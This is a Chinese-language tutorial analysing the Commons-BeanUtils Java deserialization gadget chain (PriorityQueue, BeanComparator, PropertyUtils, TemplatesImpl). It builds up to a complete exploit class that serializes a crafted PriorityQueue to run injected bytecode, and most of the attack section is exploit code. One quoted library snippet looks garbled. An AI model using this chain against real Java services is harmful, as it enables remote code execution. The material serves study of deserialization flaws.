0x01 写在前面 了解了PropertyUtils.getProperty()打通这条链子还是不难的
0x02 环境搭建 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependency > <groupId > commons-beanutils</groupId > <artifactId > commons-beanutils</artifactId > <version > 1.9.2</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.2</version > </dependency >
0x03 CommonsBeanUtils Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean ,以 Utils 结尾,一般这都是一个工具类/集
这里的JavaBean指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean
Demo
比如 Baby 是一个最简单的 JavaBean 类,这里定义两个简单的 getter setter 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example;public class Baby { String name = "baby" ; public String getName () { return name; } public void setName (String name) { this .name = name; } }
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法
1 2 3 public static void main (String[] args) throws Exception { System.out.println(PropertyUtils.getProperty(new Baby (),"name" )); }
此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用
0x04 链子挖掘 Gadget chain 1 2 3 4 5 6 7 8 9 10 PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() BeanComparator.compare() PropertyUtils.getProperty(TemplatesImpl, outputProperties) TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses()
用到了几个新类:PriorityQueue BeanComparator PropertyUtils,挖链子的时候会讲
TemplatesImpl利用 挖C11的时候已经重新挖过一遍了,这里就直接贴后半段链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class CommonsBeanUtils { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); templates.getOutputProperties(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
PropertyUtils利用 在链子调用的TemplatesImpl.getOutputProperties()就是一个getter方法,并且作用域为public,所以可以通过 CommonsBeanUtils中的 PropertyUtils.getProperty() 方式获取
这里我们的 PropertyUtils.getProperty() 对应的参数应该如下:
1 2 3 4 5 6 7 byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" ));TemplatesImpl templates = new TemplatesImpl ();setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); PropertyUtils propertyUtils = new PropertyUtils ();propertyUtils.getProperty(templates,"outputProperties" );
BeanComparator利用 目的是找到调用getProperty()的地方,在BeanComparator.compare()
compare()经常被其他方法所调用,因此作为链子的一部分是非常合适的
更新demo
1 2 3 4 5 6 7 8 9 byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" ));TemplatesImpl templates = new TemplatesImpl ();setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); PropertyUtils propertyUtils = new PropertyUtils ();BeanComparator beanComparator = new BeanComparator ();beanComparator.setProperty("outputProperties" ); beanComparator.compare(templates,templates);
PriorityQueue利用 1 PriorityQueue.siftUpUsingComparator()`调用`compare()
须控制comparator属性为BeanComparator对象
1 PriorityQueue`类内部`siftDown()`调用`siftUpComparable()
需控制comparator属性不为空
PriorityQueue类内部heapify()调用siftDown(),且该方法在类的readObject()调用
加上PriorityQueue本身继承了Serializable接口,因此选择其作为入口类
现在先返回看BeanComparator.compare()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public int compare (T o1, T o2) { if (this .property == null ) { return this .internalCompare(o1, o2); } else { try { Object value1 = property == PropertyUtils.getProperty(o1, this .property); Object value2 = PropertyUtils.getProperty(o2, this .property); return this .internalCompare(value1, value2); } catch (IllegalAccessException iae) { throw new RuntimeException ("IllegalAccessException: " + iae.toString()); } catch (InvocationTargetException ite) { throw new RuntimeException ("InvocationTargetException: " + ite.toString()); } catch (NoSuchMethodException nsme) { throw new RuntimeException ("NoSuchMethodException: " + nsme.toString()); } } }
所以如果需要传值比较,肯定是需要新建一个 PriorityQueue ,并让其有 2 个值进行比较。而且 PriorityQueue 的构造函数当中就包含了一个比较器
1 2 3 4 5 6 7 8 9 public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException (); this .queue = new Object [initialCapacity]; this .comparator = comparator; }
最后使用queue.add()就可以完成比较,因为add()方法调用了compare()方法
用priorityQueue类更新demo
1 2 3 4 5 6 7 8 9 10 byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" ));TemplatesImpl templates = new TemplatesImpl ();setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator beanComparator = new BeanComparator ();beanComparator.setProperty("outputProperties" ); PriorityQueue priorityQueue = new PriorityQueue (1 ,beanComparator);priorityQueue.add(templates); priorityQueue.add(templates);
最终exp 控制在它序列化的本地执行不弹出计算器,在反序列化的时候弹出计算器,通过反射修改值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CommonsBeanUtils { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator beanComparator = new BeanComparator (); PriorityQueue priorityQueue = new PriorityQueue (1 ,beanComparator); priorityQueue.add(1 ); priorityQueue.add(1 ); setFieldValue(beanComparator, "property" , "outputProperties" ); setFieldValue(priorityQueue,"queue" , new Object []{templates, templates}); serialize(priorityQueue); unserialize("ser.bin" ); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInput ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
命令执行成功
0x05 写在后面 和前面的CC链放一起了,毕竟都是commons家族